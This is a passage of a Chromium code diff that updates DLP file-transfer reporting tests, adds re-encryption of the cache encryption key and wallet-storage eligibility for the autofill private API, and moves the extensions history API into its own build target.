-        /*size*/ std::string("content").size(),
-        /*result*/
-        expected_results,
-        /*username*/ kUserName,
-        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-        /*scan_ids*/ expected_scan_ids,
-        /*content_transfer_method*/ std::nullopt,
-        /*user_justification*/ std::nullopt);
 
+    if (base::FeatureList::IsEnabled(
+            policy::kUploadRealtimeReportingEventsUsingProto)) {
+      std::vector<chrome::cros::reporting::proto::DlpSensitiveDataEvent>
+          expected_events;
+      for (size_t i = 0; i < expected_filenames.size(); ++i) {
+        chrome::cros::reporting::proto::DlpSensitiveDataEvent expected_event;
+
+        expected_event.set_url("");
+        expected_event.set_tab_url("");
+        expected_event.set_source(kSourceVolumeInfo.fs_config_string);
+        expected_event.set_destination(kDestinationVolumeInfo.fs_config_string);
+
+        expected_event.set_content_type("application/msword");
+        expected_event.set_content_size(std::string("content").size());
+        expected_event.set_trigger(chrome::cros::reporting::proto::
+                                       DataTransferEventTrigger::FILE_TRANSFER);
+        expected_event.set_clicked_through(false);
+
+        auto* triggered_rule = expected_event.add_triggered_rule_info();
+        triggered_rule->set_rule_name(expected_rule_names[i]);
+        triggered_rule->set_action(expected_rule_actions[i]);
+
+        expected_event.set_profile_identifier(
+            profile_->GetPath().AsUTF8Unsafe());
+        expected_event.set_profile_user_name(kUserName);
+
+        expected_events.emplace_back(expected_event);
+      }
+
+      validator.ExpectSensitiveDataEvents(std::move(expected_events),
+                                          expected_filenames, expected_shas,
+                                          expected_results, expected_scan_ids);
+    } else {
+      validator.ExpectSensitiveDataEvents(
+          /*url*/ "",
+          /*tab_url*/ "",
+          /*source*/ kSourceVolumeInfo.fs_config_string,
+          /*destination*/ kDestinationVolumeInfo.fs_config_string,
+          /*filenames*/ expected_filenames,
+          // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+          /*sha256s*/
+          expected_shas,
+          /*trigger*/
+          kFileTransferDataTransferEventTrigger,
+          /*dlp_verdicts*/
+          expected_dlp_verdicts,
+          /*mimetype*/ DocMimeTypes(),
+          /*size*/ std::string("content").size(),
+          /*result*/
+          expected_results,
+          /*username*/ kUserName,
+          /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+          /*scan_ids*/ expected_scan_ids,
+          /*content_transfer_method*/ std::nullopt,
+          /*user_justification*/ std::nullopt);
+    }
     ScanUpload(source_directory_url_, destination_directory_url_);
     run_loop.Run();
   }
@@ -1935,6 +2325,7 @@
     std::vector<ContentAnalysisResponse::Result> expected_dlp_verdicts;
     std::vector<std::string> expected_results;
     std::vector<std::string> expected_scan_ids;
+    std::vector<std::string> expected_rule_names;
 
     // Mark all files and text with failed scans.
     for (size_t i = 0; i < paths.size(); ++i) {
@@ -1954,38 +2345,75 @@
         expected_shas.push_back(
             "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73");
         expected_dlp_verdicts.push_back(response.results()[0]);
-
         expected_results.push_back(EventResultToString(EventResult::BYPASSED));
-
         expected_scan_ids.push_back(request_token);
+        expected_rule_names.push_back(
+            base::StrCat({"rule", base::NumberToString(i)}));
       }
     }
 
     test::EventReportValidator validator(cloud_policy_client());
     base::RunLoop run_loop;
     validator.SetDoneClosure(run_loop.QuitClosure());
-    validator.ExpectSensitiveDataEvents(
-        /*url*/ "",
-        /*tab_url*/ "",
-        /*source*/ kSourceVolumeInfo.fs_config_string,
-        /*destination*/ kDestinationVolumeInfo.fs_config_string,
-        /*filenames*/ expected_filenames,
-        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-        /*sha256s*/
-        expected_shas,
-        /*trigger*/
-        kFileTransferDataTransferEventTrigger,
-        /*dlp_verdicts*/
-        expected_dlp_verdicts,
-        /*mimetype*/ DocMimeTypes(),
-        /*size*/ std::string("content").size(),
-        /*result*/
-        expected_results,
-        /*username*/ kUserName,
-        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-        /*scan_ids*/ expected_scan_ids,
-        /*content_transfer_method*/ std::nullopt,
-        /*user_justification*/ kUserJustification);
+
+    if (base::FeatureList::IsEnabled(
+            policy::kUploadRealtimeReportingEventsUsingProto)) {
+      std::vector<chrome::cros::reporting::proto::DlpSensitiveDataEvent>
+          expected_events;
+      for (size_t i = 0; i < expected_filenames.size(); ++i) {
+        chrome::cros::reporting::proto::DlpSensitiveDataEvent expected_event;
+
+        expected_event.set_url("");
+        expected_event.set_tab_url("");
+        expected_event.set_source(kSourceVolumeInfo.fs_config_string);
+        expected_event.set_destination(kDestinationVolumeInfo.fs_config_string);
+
+        expected_event.set_content_type("application/msword");
+        expected_event.set_content_size(std::string("content").size());
+        expected_event.set_trigger(chrome::cros::reporting::proto::
+                                       DataTransferEventTrigger::FILE_TRANSFER);
+        expected_event.set_clicked_through(true);
+        expected_event.set_user_justification("User justification");
+
+        auto* triggered_rule = expected_event.add_triggered_rule_info();
+        triggered_rule->set_rule_name(expected_rule_names[i]);
+        triggered_rule->set_action(
+            ::chrome::cros::reporting::proto::TriggeredRuleInfo::WARN);
+
+        expected_event.set_profile_identifier(
+            profile_->GetPath().AsUTF8Unsafe());
+        expected_event.set_profile_user_name(kUserName);
+
+        expected_events.emplace_back(expected_event);
+      }
+
+      validator.ExpectSensitiveDataEvents(std::move(expected_events),
+                                          expected_filenames, expected_shas,
+                                          expected_results, expected_scan_ids);
+    } else {
+      validator.ExpectSensitiveDataEvents(
+          /*url*/ "",
+          /*tab_url*/ "",
+          /*source*/ kSourceVolumeInfo.fs_config_string,
+          /*destination*/ kDestinationVolumeInfo.fs_config_string,
+          /*filenames*/ expected_filenames,
+          // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+          /*sha256s*/
+          expected_shas,
+          /*trigger*/
+          kFileTransferDataTransferEventTrigger,
+          /*dlp_verdicts*/
+          expected_dlp_verdicts,
+          /*mimetype*/ DocMimeTypes(),
+          /*size*/ std::string("content").size(),
+          /*result*/
+          expected_results,
+          /*username*/ kUserName,
+          /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+          /*scan_ids*/ expected_scan_ids,
+          /*content_transfer_method*/ std::nullopt,
+          /*user_justification*/ kUserJustification);
+    }
 
     file_transfer_analysis_delegate_->BypassWarnings(kUserJustification);
     run_loop.Run();
diff --git a/chrome/browser/enterprise/encryption/cache_encryption_provider_impl.cc b/chrome/browser/enterprise/encryption/cache_encryption_provider_impl.cc
index 29c4092..a4216bb 100644
--- a/chrome/browser/enterprise/encryption/cache_encryption_provider_impl.cc
+++ b/chrome/browser/enterprise/encryption/cache_encryption_provider_impl.cc
@@ -42,18 +42,41 @@
 
   if (!encrypted_primary_key_.empty()) {
     // Validate the key by trying to decrypt it
+    os_crypt_async::Encryptor::DecryptFlags flags;
     std::optional<std::string> decrypted =
-        encryptor.DecryptData(encrypted_primary_key_);
+        encryptor.DecryptData(encrypted_primary_key_, &flags);
     if (decrypted && decrypted->length() == kPrimaryKeySizeInBytes) {
-      DVLOG(1) << "Successfully validated existing encrypted cache encryption key.";
+      DVLOG(1)
+          << "Successfully validated existing encrypted cache encryption key.";
       needs_new_key = false;
+
+      // If the key is valid, but needs to be re-encrypted, then do so.
+      if (flags.should_reencrypt) {
+        DVLOG(1) << "Re-encrypting cache encryption key.";
+        std::optional<std::vector<uint8_t>> encrypted =
+            encryptor.EncryptString(*decrypted);
+        if (encrypted) {
+          encrypted_primary_key_ = *encrypted;
+          store_key_callback_.Run(encrypted_primary_key_);
+          DVLOG(1) << "Successfully re-encrypted and stored cache encryption "
+                      "key.";
+        } else {
+          LOG(ERROR) << "Failed to re-encrypt cache encryption key. "
+                        "Cache encryption will be disabled for this session.";
+          LOG_POLICY(ERROR, POLICY_PROCESSING)
+              << "Failed to re-encrypt cache encryption key.";
+          encrypted_primary_key_.clear();
+        }
+      }
     } else {
       // TODO: crbug.com/475800166 - Log errors in UMA.
       LOG(ERROR) << "Failed to decrypt/validate existing cache encryption key.";
       LOG_POLICY(ERROR, POLICY_PROCESSING)
           << "Failed to decrypt/validate existing cache encryption key.";
-      // TODO: crbug.com/476958143 - Check flags returned by os_crypt, implement
-      // retries if needed.
+
+      // TODO: crbug.com/482044872 - Check flags returned by os_crypt, implement
+      // retries if temporarily_unavailable is returned. Do not reset the
+      // cache in such case.
       encrypted_primary_key_.clear();
     }
   } else {
diff --git a/chrome/browser/enterprise/encryption/cache_encryption_provider_impl_unittest.cc b/chrome/browser/enterprise/encryption/cache_encryption_provider_impl_unittest.cc
index 273da99..c570ab9c 100644
--- a/chrome/browser/enterprise/encryption/cache_encryption_provider_impl_unittest.cc
+++ b/chrome/browser/enterprise/encryption/cache_encryption_provider_impl_unittest.cc
@@ -227,4 +227,71 @@
   EXPECT_EQ(decrypted->size(), 32u);
 }
 
+TEST_F(CacheEncryptionProviderImplTest,
+       GetEncryptedCacheEncryptionKey_Reencrypt) {
+  // Create an encryptor with an "old" key and encrypt a dummy key with it.
+  os_crypt_async::Encryptor::KeyRing old_keys;
+  old_keys.emplace("test_provider",
+                   os_crypt_async::Encryptor::Key(
+                       std::vector<uint8_t>(32, 1),
+                       os_crypt_async::mojom::Algorithm::kAES256GCM));
+  TestEncryptor old_encryptor(std::move(old_keys), "test_provider",
+                              "test_provider");
+  std::optional<std::vector<uint8_t>> old_encrypted_key =
+      old_encryptor.EncryptString(std::string(32, 2));
+  ASSERT_TRUE(old_encrypted_key.has_value());
+
+  std::vector<uint8_t> stored_key;
+  base::RunLoop run_loop;
+  CacheEncryptionProviderImpl provider{
+      &os_crypt_async_, *old_encrypted_key,
+      base::BindLambdaForTesting([&](const std::vector<uint8_t>& new_key) {
+        stored_key = new_key;
+        run_loop.Quit();
+      })};
+
+  EXPECT_CALL(os_crypt_async_, GetInstance)
+      .WillOnce([&](base::OnceCallback<void(os_crypt_async::Encryptor)> cb,
+                    os_crypt_async::Encryptor::Option option) {
+        // Create a "new" encryptor. This one can decrypt the old key, but
+        // encryption will be done with a new key.
+        os_crypt_async::Encryptor::KeyRing new_keys;
+        new_keys.emplace("test_provider",
+                         os_crypt_async::Encryptor::Key(
+                             std::vector<uint8_t>(32, 1),
+                             os_crypt_async::mojom::Algorithm::kAES256GCM));
+        new_keys.emplace("new_provider",
+                         os_crypt_async::Encryptor::Key(
+                             std::vector<uint8_t>(32, 3),
+                             os_crypt_async::mojom::Algorithm::kAES256GCM));
+        std::move(cb).Run(
+            TestEncryptor(std::move(new_keys), "new_provider", "new_provider"));
+      });
+
+  mojo::Remote<network::mojom::CacheEncryptionProvider> remote(
+      provider.BindNewRemote());
+
+  base::test::TestFuture<const std::vector<uint8_t>&> future;
+  remote->GetEncryptedCacheEncryptionKey(future.GetCallback());
+  std::vector<uint8_t> returned_key = future.Take();
+  run_loop.Run();
+
+  // The key should have been re-encrypted with the new provider and stored.
+  EXPECT_NE(returned_key, *old_encrypted_key);
+  EXPECT_EQ(returned_key, stored_key);
+
+  // Verify that the new key can be decrypted with the new encryptor.
+  os_crypt_async::Encryptor::KeyRing new_keys;
+  new_keys.emplace("new_provider",
+                   os_crypt_async::Encryptor::Key(
+                       std::vector<uint8_t>(32, 3),
+                       os_crypt_async::mojom::Algorithm::kAES256GCM));
+  TestEncryptor new_encryptor(std::move(new_keys), "new_provider",
+                              "new_provider");
+  std::optional<std::string> decrypted =
+      new_encryptor.DecryptData(returned_key);
+  ASSERT_TRUE(decrypted.has_value());
+  EXPECT_EQ(*decrypted, std::string(32, 2));
+}
+
 }  // namespace enterprise_encryption
diff --git a/chrome/browser/extensions/BUILD.gn b/chrome/browser/extensions/BUILD.gn
index 1aabe2b0..70cbdcd 100644
--- a/chrome/browser/extensions/BUILD.gn
+++ b/chrome/browser/extensions/BUILD.gn
@@ -101,8 +101,6 @@
     "api/downloads/download_extension_errors.h",
     "api/downloads/downloads_api.cc",
     "api/downloads/downloads_api.h",
-    "api/history/history_api.cc",
-    "api/history/history_api.h",
     "api/identity/extension_token_key.cc",
     "api/identity/extension_token_key.h",
     "api/identity/identity_api.cc",
@@ -646,7 +644,10 @@
       "external_install_error_android.cc",
       "external_install_error_android.h",
     ]
-    deps += [ "//chrome/browser/ui/android/tab_model" ]
+    deps += [
+      "//chrome/android:chrome_jni_headers",
+      "//chrome/browser/ui/android/tab_model",
+    ]
   } else {
     sources += [
       "api/chrome_extensions_api_client_non_android.cc",
diff --git a/chrome/browser/extensions/api/BUILD.gn b/chrome/browser/extensions/api/BUILD.gn
index 84a0696..4331010 100644
--- a/chrome/browser/extensions/api/BUILD.gn
+++ b/chrome/browser/extensions/api/BUILD.gn
@@ -40,6 +40,7 @@
     "//chrome/browser/extensions/api/extension_action",
     "//chrome/browser/extensions/api/font_settings",
     "//chrome/browser/extensions/api/gcm",
+    "//chrome/browser/extensions/api/history",
     "//chrome/browser/extensions/api/module",
     "//chrome/browser/extensions/api/notifications",
     "//chrome/browser/extensions/api/omnibox",
diff --git a/chrome/browser/extensions/api/autofill_private/autofill_ai_util.cc b/chrome/browser/extensions/api/autofill_private/autofill_ai_util.cc
index 5f13e0e..34ed4e39 100644
--- a/chrome/browser/extensions/api/autofill_private/autofill_ai_util.cc
+++ b/chrome/browser/extensions/api/autofill_private/autofill_ai_util.cc
@@ -132,7 +132,8 @@
 
 std::optional<EntityInstance> PrivateApiEntityInstanceToEntityInstance(
     const autofill_private::EntityInstance& private_api_entity_instance,
-    std::string_view app_locale) {
+    std::string_view app_locale,
+    bool entity_supports_wallet_storage) {
   base::flat_set<AttributeInstance, AttributeInstance::CompareByType>
       attribute_instances;
   for (const autofill_private::AttributeInstance&
@@ -200,17 +201,25 @@
       private_api_entity_instance.guid.empty()
           ? base::Uuid::GenerateRandomV4().AsLowercaseString()
           : private_api_entity_instance.guid);
+
+  const bool save_entity_to_wallet =
+      private_api_entity_instance.stored_in_wallet.value_or(false) &&
+      entity_supports_wallet_storage;
+
   return EntityInstance(
       std::move(entity_type), attribute_instances, std::move(guid),
       private_api_entity_instance.nickname, base::Time::Now(), /*use_count=*/0,
-      /*use_date=*/base::Time::Now(), EntityInstance::RecordType::kLocal,
+      /*use_date=*/base::Time::Now(),
+      save_entity_to_wallet ? EntityInstance::RecordType::kServerWallet
+                            : EntityInstance::RecordType::kLocal,
       EntityInstance::AreAttributesReadOnly(false),
       /*frecency_override=*/"");
 }
 
 autofill_private::EntityInstance EntityInstanceToPrivateApiEntityInstance(
     const EntityInstance& entity_instance,
-    std::string_view app_locale) {
+    std::string_view app_locale,
+    bool entity_supports_wallet_storage) {
   std::vector<autofill_private::AttributeInstance>
       private_api_attribute_instances;
   bool should_authenticate_to_view = false;
@@ -277,6 +286,11 @@
   private_api_entity_instance.nickname = entity_instance.nickname();
   private_api_entity_instance.should_authenticate_to_view =
       should_authenticate_to_view;
+  private_api_entity_instance.type.supports_wallet_storage =
+      entity_supports_wallet_storage;
+  private_api_entity_instance.stored_in_wallet =
+      (entity_instance.record_type() ==
+       EntityInstance::RecordType::kServerWallet);
   return private_api_entity_instance;
 }
 
diff --git a/chrome/browser/extensions/api/autofill_private/autofill_ai_util.h b/chrome/browser/extensions/api/autofill_private/autofill_ai_util.h
index 253288c..93e1cb8e 100644
--- a/chrome/browser/extensions/api/autofill_private/autofill_ai_util.h
+++ b/chrome/browser/extensions/api/autofill_private/autofill_ai_util.h
@@ -27,17 +27,21 @@
 // `autofill::EntityInstance` object, according to a given `app_locale`. Returns
 // `std::nullopt` if one of the attribute types or entity types are out of
 // bounds of the enum, or if the date value is used incorrectly.
+// The `entity_supports_wallet_storage` is used to validate if the entity is
+// allowed to be stored in the Google wallet.
 std::optional<autofill::EntityInstance>
 PrivateApiEntityInstanceToEntityInstance(
     const api::autofill_private::EntityInstance& private_api_entity_instance,
-    std::string_view app_locale);
+    std::string_view app_locale,
+    bool entity_supports_wallet_storage);
 
 // Converts an `autofill::EntityInstance` object to an
 // `api::autofill_private::EntityInstance` object, according to a given
 // `app_locale`.
 api::autofill_private::EntityInstance EntityInstanceToPrivateApiEntityInstance(
     const autofill::EntityInstance& entity_instance,
-    std::string_view app_locale);
+    std::string_view app_locale,
+    bool entity_supports_wallet_storage);
 
 // Converts `autofill::EntityInstance`s to
 // `api::autofill_private::EntityInstanceWithLabels`s according to a given
diff --git a/chrome/browser/extensions/api/autofill_private/autofill_private_api.cc b/chrome/browser/extensions/api/autofill_private/autofill_private_api.cc
index 450a345..1ce8f13 100644
--- a/chrome/browser/extensions/api/autofill_private/autofill_private_api.cc
+++ b/chrome/browser/extensions/api/autofill_private/autofill_private_api.cc
@@ -13,6 +13,7 @@
 #include <utility>
 
 #include "base/containers/to_vector.h"
+#include "base/feature_list.h"
 #include "base/functional/bind.h"
 #include "base/metrics/histogram_functions.h"
 #include "base/metrics/user_metrics.h"
@@ -192,6 +193,17 @@
   return autofill::AutofillProfile(record_type, address_country_code);
 }
 
+// Returns true if the `entity_type` supports wallet storage.
+bool IsEligibleForWalletStorage(autofill::AutofillClient* client,
+                                autofill::EntityType entity_type) {
+  return client &&
+         autofill::MayPerformAutofillAiAction(
+             *client, autofill::AutofillAiAction::kImportToWallet,
+             entity_type) &&
+         base::FeatureList::IsEnabled(
+             autofill::features::kAutofillEnableSaveToWalletFromSettings);
+}
+
 }  // namespace
 
 namespace extensions {
@@ -990,10 +1002,22 @@
 
   const autofill_private::EntityInstance& private_api_entity_instance =
       parameters->entity_instance;
+  std::optional<autofill::EntityTypeName> entity_type_name =
+      autofill::ToSafeEntityTypeName(
+          private_api_entity_instance.type.type_name);
+
+  if (!entity_type_name.has_value()) {
+    return RespondNow(Error(kErrorAutofillAiTypeNameOutOfBounds));
+  }
+
+  const bool is_eligible_for_wallet_storage = IsEligibleForWalletStorage(
+      autofill_client(), autofill::EntityType(*entity_type_name));
+
   std::optional<EntityInstance> entity_instance =
       autofill_ai_util::PrivateApiEntityInstanceToEntityInstance(
           private_api_entity_instance,
-          g_browser_process->GetApplicationLocale());
+          g_browser_process->GetApplicationLocale(),
+          is_eligible_for_wallet_storage);
   if (!entity_instance.has_value()) {
     return RespondNow(Error(kErrorAutofillAiInvalidData));
   }
@@ -1007,6 +1031,12 @@
     return RespondNow(Error(kErrorAutofillAiUnavailable));
   }
   entity_data_manager->AddOrUpdateEntityInstance(entity_instance.value());
+
+  if (is_eligible_for_wallet_storage &&
+      entity_instance->record_type() == EntityInstance::RecordType::kLocal) {
+    // TODO(crbug.com/454892936): Show bubble to inform the user that the entity
+    // is saved locally.
+  }
   return RespondNow(NoArguments());
 }
 
@@ -1109,7 +1139,9 @@
     return RespondNow(ArgumentList(
         api::autofill_private::GetEntityInstanceByGuid::Results::Create(
             autofill_ai_util::EntityInstanceToPrivateApiEntityInstance(
-                entity_instance.value(), autofill_client()->GetAppLocale()))));
+                entity_instance.value(), autofill_client()->GetAppLocale(),
+                IsEligibleForWalletStorage(autofill_client(),
+                                           entity_instance.value().type())))));
   }
 
   std::u16string message;
@@ -1131,7 +1163,9 @@
     Respond(ArgumentList(
         api::autofill_private::GetEntityInstanceByGuid::Results::Create(
             autofill_ai_util::EntityInstanceToPrivateApiEntityInstance(
-                entity_instance, autofill_client()->GetAppLocale()))));
+                entity_instance, autofill_client()->GetAppLocale(),
+                IsEligibleForWalletStorage(autofill_client(),
+                                           entity_instance.type())))));
     return;
   }
   Respond(NoArguments());
@@ -1148,10 +1182,9 @@
   result.reserve(all_types.size());
   for (EntityType entity_type : autofill::GetWritableEntityTypes(
            autofill_client()->GetVariationConfigCountryCode())) {
-    // TODO(crbug.com/454892936): Provide the correct value for
-    // `supports_wallet_storage`.
     result.push_back(autofill_ai_util::EntityTypeToPrivateApiEntityType(
-        entity_type, /*supports_wallet_storage=*/false));
+        entity_type,
+        IsEligibleForWalletStorage(autofill_client(), entity_type)));
   }
 
   return RespondNow(ArgumentList(
diff --git a/chrome/browser/extensions/api/autofill_private/autofill_private_api_unittest.cc b/chrome/browser/extensions/api/autofill_private/autofill_private_api_unittest.cc
index 07af5d9..2c00671 100644
--- a/chrome/browser/extensions/api/autofill_private/autofill_private_api_unittest.cc
+++ b/chrome/browser/extensions/api/autofill_private/autofill_private_api_unittest.cc
@@ -16,6 +16,7 @@
 #include "base/test/test_future.h"
 #include "chrome/browser/autofill/autofill_entity_data_manager_factory.h"
 #include "chrome/browser/autofill/autofill_uitest_util.h"
+#include "chrome/browser/extensions/api/autofill_private/autofill_ai_util.h"
 #include "chrome/browser/extensions/api/autofill_private/autofill_private_event_router.h"
 #include "chrome/browser/extensions/api/autofill_private/autofill_private_event_router_factory.h"
 #include "chrome/browser/extensions/extension_apitest.h"
@@ -25,6 +26,7 @@
 #include "components/autofill/content/browser/test_content_autofill_client.h"
 #include "components/autofill/core/browser/data_manager/addresses/test_address_data_manager.h"
 #include "components/autofill/core/browser/data_manager/autofill_ai/entity_data_manager.h"
+#include "components/autofill/core/browser/data_manager/autofill_ai/entity_data_manager_test_utils.h"
 #include "components/autofill/core/browser/data_manager/payments/payments_data_manager.h"
 #include "components/autofill/core/browser/data_model/autofill_ai/entity_instance.h"
 #include "components/autofill/core/browser/data_model/payments/credit_card.h"
@@ -209,6 +211,11 @@
                          Combine(Bool(), Bool()));
 #endif  // BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN)
 
+class MockSyncService : public syncer::TestSyncService {
+ public:
+  MOCK_METHOD(syncer::DataTypeSet, GetActiveDataTypes, (), (const override));
+};
+
 class AutofillPrivateApiBrowserTest : public extensions::ExtensionApiTest {
  public:
   AutofillPrivateApiBrowserTest() {
@@ -216,8 +223,10 @@
         /*enabled_features=*/
         {
             {autofill::features::kAutofillAiWithDataSchema, {}},
+            {autofill::features::kAutofillAiAvailableByDefault, {}},
             {autofill::features::kAutofillAiWalletFlightReservation, {}},
             {autofill::features::kAutofillAiWalletVehicleRegistration, {}},
+            {autofill::features::kAutofillEnableSaveToWalletFromSettings, {}},
             {wallet::kWalletablePassDetection,
              {{wallet::kWalletablePassDetectionCountryAllowlist.name, "US"}}},
         },
@@ -477,6 +486,106 @@
       RunAutofillSubtest("verifyUserOptedOutOfWalletablePassDetection"));
 }
 
+IN_PROC_BROWSER_TEST_F(AutofillPrivateApiBrowserTest,
+                       AddEntityInstance_SavesToWalletIfEligible) {
+  autofill_client()->set_entity_data_manager(
+      autofill::AutofillEntityDataManagerFactory::GetForProfile(profile()));
+  autofill_client()->SetUpPrefsAndIdentityForAutofillAi();
+  autofill_client()->SetVariationConfigCountryCode(
+      autofill::GeoIpCountryCode("US"));
+
+  testing::NiceMock<MockSyncService> mock_sync_service;
+  address_data_manager().SetSyncServiceForTest(&mock_sync_service);
+  autofill_client()->set_sync_service(&mock_sync_service);
+
+  autofill_client()->GetSyncService()->GetUserSettings()->SetSelectedType(
+      syncer::UserSelectableType::kPayments, true);
+  ON_CALL(mock_sync_service, GetActiveDataTypes())
+      .WillByDefault(Return(syncer::DataTypeSet{syncer::AUTOFILL_VALUABLE}));
+
+  autofill::EntityInstance entity_instance =
+      autofill::test::GetVehicleEntityInstanceWithRandomGuid();
+
+  extensions::api::autofill_private::EntityInstance api_entity =
+      extensions::autofill_ai_util::EntityInstanceToPrivateApiEntityInstance(
+          entity_instance, "en-US", /*entity_supports_wallet_storage=*/true);
+
+  // Explicitly request storage in Wallet.
+  api_entity.stored_in_wallet = true;
+
+  base::ListValue args;
+  args.Append(api_entity.ToValue());
+  std::string json_args;
+  base::JSONWriter::Write(args, &json_args);
+
+  auto* entity_data_manager =
+      autofill::AutofillEntityDataManagerFactory::GetForProfile(profile());
+  ASSERT_TRUE(entity_data_manager);
+
+  auto function = base::MakeRefCounted<
+      extensions::AutofillPrivateAddOrUpdateEntityInstanceFunction>();
+  function->SetRenderFrameHost(GetActiveWebContents()->GetPrimaryMainFrame());
+
+  ASSERT_TRUE(extensions::api_test_utils::RunFunction(function.get(), json_args,
+                                                      profile()));
+
+  autofill::EntityDataChangedWaiter(entity_data_manager).Wait();
+  base::optional_ref<const autofill::EntityInstance> saved_entity =
+      entity_data_manager->GetEntityInstance(entity_instance.guid());
+  ASSERT_TRUE(saved_entity.has_value()) << "Entity should exist after save";
+
+  EXPECT_EQ(saved_entity->record_type(),
+            autofill::EntityInstance::RecordType::kServerWallet);
+}
+
+IN_PROC_BROWSER_TEST_F(
+    AutofillPrivateApiBrowserTest,
+    AddEntityInstance_FallsBackToLocalIfSaveToWalletOnPaymentsOffToggle) {
+  autofill_client()->set_entity_data_manager(
+      autofill::AutofillEntityDataManagerFactory::GetForProfile(profile()));
+  autofill_client()->SetUpPrefsAndIdentityForAutofillAi();
+  autofill_client()->SetVariationConfigCountryCode(
+      autofill::GeoIpCountryCode("US"));
+
+  syncer::TestSyncService test_sync_service;
+  address_data_manager().SetSyncServiceForTest(&test_sync_service);
+  test_sync_service.GetUserSettings()->SetSelectedType(
+      syncer::UserSelectableType::kPayments, false);
+
+  autofill::EntityInstance entity_instance =
+      autofill::test::GetVehicleEntityInstanceWithRandomGuid();
+
+  extensions::api::autofill_private::EntityInstance api_entity =
+      extensions::autofill_ai_util::EntityInstanceToPrivateApiEntityInstance(
+          entity_instance, "en-US", /*entity_supports_wallet_storage=*/true);
+
+  // Explicitly request storage in Wallet.
+  api_entity.stored_in_wallet = true;
+
+  base::ListValue args;
+  args.Append(api_entity.ToValue());
+  std::string json_args;
+  base::JSONWriter::Write(args, &json_args);
+
+  auto* entity_data_manager =
+      autofill::AutofillEntityDataManagerFactory::GetForProfile(profile());
+  ASSERT_TRUE(entity_data_manager);
+
+  auto function = base::MakeRefCounted<
+      extensions::AutofillPrivateAddOrUpdateEntityInstanceFunction>();
+  function->SetRenderFrameHost(GetActiveWebContents()->GetPrimaryMainFrame());
+
+  ASSERT_TRUE(extensions::api_test_utils::RunFunction(function.get(), json_args,
+                                                      profile()));
+  autofill::EntityDataChangedWaiter(entity_data_manager).Wait();
+  base::optional_ref<const autofill::EntityInstance> saved_entity =
+      entity_data_manager->GetEntityInstance(entity_instance.guid());
+  ASSERT_TRUE(saved_entity.has_value()) << "Entity should exist after save";
+
+  EXPECT_EQ(saved_entity->record_type(),
+            autofill::EntityInstance::RecordType::kLocal);
+}
+
 #if BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN) || BUILDFLAG(IS_ANDROID) || \
     BUILDFLAG(IS_CHROMEOS)
 class AutofillPrivateApiAuthToViewSensitiveEntityTest
diff --git a/chrome/browser/extensions/api/developer_private/developer_private_apitest.cc b/chrome/browser/extensions/api/developer_private/developer_private_apitest.cc
index 190f0322..ad2f746f 100644
--- a/chrome/browser/extensions/api/developer_private/developer_private_apitest.cc
+++ b/chrome/browser/extensions/api/developer_private/developer_private_apitest.cc
@@ -179,9 +179,7 @@
 }
 
 // TODO(crbug.com/40273479): Test is flaky on MSan builders.
-// TODO(crbug.com/40282331): Disabled on ASAN due to leak caused by renderer gin
-// objects which are intended to be leaked.
-#if defined(ADDRESS_SANITIZER) || defined(MEMORY_SANITIZER)
+#if defined(MEMORY_SANITIZER)
 #define MAYBE_InspectInactiveServiceWorkerBackground \
   DISABLED_InspectInactiveServiceWorkerBackground
 #else
diff --git a/chrome/browser/extensions/api/history/BUILD.gn b/chrome/browser/extensions/api/history/BUILD.gn
new file mode 100644
index 0000000..f7dd014
--- /dev/null
+++ b/chrome/browser/extensions/api/history/BUILD.gn
@@ -0,0 +1,32 @@
+# Copyright 2026 The Chromium Authors
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//extensions/buildflags/buildflags.gni")
+
+assert(enable_extensions_core)
+
+source_set("history") {
+  sources = [
+    "history_api.cc",
+    "history_api.h",
+  ]
+
+  configs += [ "//build/config/compiler:wexit_time_destructors" ]
+
+  public_deps = [ "//extensions/browser" ]
+
+  deps = [
+    "//base",
+    "//chrome/browser/extensions",
+    "//chrome/browser/history",
+    "//chrome/browser/profiles:profile",
+    "//chrome/common:constants",
+    "//chrome/common/extensions/api",
+    "//components/history/core/browser",
+    "//components/history/core/common",
+    "//components/prefs",
+    "//extensions/browser",
+    "//extensions/buildflags",
+  ]
+}
diff --git a/chrome/browser/extensions/api/identity/web_auth_flow_browsertest.cc b/chrome/browser/extensions/api/identity/web_auth_flow_browsertest.cc
index 25839e3..4b7da1c 100644
--- a/chrome/browser/extensions/api/identity/web_auth_flow_browsertest.cc
+++ b/chrome/browser/extensions/api/identity/web_auth_flow_browsertest.cc
@@ -838,9 +838,10 @@
 
   // Simulate profile destruction notification and wait for the auth popup to
   // close.
+  ui_test_utils::BrowserDestroyedObserver observer(popup);
   static_cast<ProfileObserver*>(web_auth_flow())
       ->OnProfileWillBeDestroyed(GetProfile());
-  ui_test_utils::WaitForBrowserToClose(popup);
+  observer.Wait();
   // Verify that WebAuthFlow closed the WebContents.
   EXPECT_TRUE(web_auth_flow());
   EXPECT_FALSE(web_auth_flow()->web_contents());
diff --git a/chrome/browser/extensions/api/offscreen/offscreen_apitest.cc b/chrome/browser/extensions/api/offscreen/offscreen_apitest.cc
index 99b32d9..7dab0f2 100644
--- a/chrome/browser/extensions/api/offscreen/offscreen_apitest.cc
+++ b/chrome/browser/extensions/api/offscreen/offscreen_apitest.cc
@@ -324,10 +324,8 @@
 
 // Tests creating, querying, and closing offscreen documents in an incognito
 // spanning mode extension.
-// TODO(crbug.com/40282331): Disabled on ASAN due to leak caused by renderer gin
-// objects which are intended to be leaked.
 // TODO(crbug.com/345326424): Flaky on Mac builds.
-#if defined(ADDRESS_SANITIZER) || BUILDFLAG(IS_MAC)
+#if BUILDFLAG(IS_MAC)
 #define MAYBE_IncognitoModeHandling_SpanningMode \
   DISABLED_IncognitoModeHandling_SpanningMode
 #else
@@ -396,10 +394,8 @@
 
 // Tests creating, querying, and closing offscreen documents in an incognito
 // split mode extension.
